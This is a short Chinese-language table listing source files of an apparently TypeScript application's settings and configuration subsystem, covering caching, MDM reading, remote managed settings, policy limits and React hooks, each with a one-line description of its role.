utils/settings/types.ts | SettingsSchema(Zod)、SettingsJson 类型 |
utils/settings/validation.ts | Zod 错误格式化、权限规则过滤 |
utils/settings/settingsCache.ts | 三级缓存(session、per-source、parsed file) |
utils/settings/changeDetector.ts | 文件监听、MDM 轮询、变更通知 |
utils/settings/internalWrites.ts | 内部写入时间戳追踪(打破循环依赖) |
utils/settings/mdm/constants.ts | MDM 路径常量(零重量级导入) |
utils/settings/mdm/rawRead.ts | MDM 子进程 I/O(零重量级导入) |
utils/settings/mdm/settings.ts | MDM 解析、缓存、first-source-wins |
utils/settings/managedPath.ts | managed-settings.json 路径 |
utils/config.ts | Config 系统:读写、锁、备份、Auth-Loss Guard |
utils/managedEnv.ts | 环境变量两阶段应用 |
utils/managedEnvConstants.ts | 安全环境变量白名单 |
services/remoteManagedSettings/index.ts | 远程设置获取、重试、轮询 |
services/remoteManagedSettings/syncCacheState.ts | 远程设置叶子状态(打破循环依赖) |
services/remoteManagedSettings/syncCache.ts | Eligibility 检查(导入 auth) |
services/remoteManagedSettings/securityCheck.jsx | 远程设置安全检查 |
services/policyLimits/index.ts | 策略限制获取与缓存 |
services/analytics/growthbook.ts | GrowthBook feature flags 集成 |
tools/ConfigTool/ConfigTool.ts | /config 命令的工具实现 |
hooks/useDynamicConfig.ts | React Hook:动态配置读取 |
hooks/useSettingsChange.ts | React Hook:设置变更响应 |
entrypoints/init.ts | 初始化序列编排 |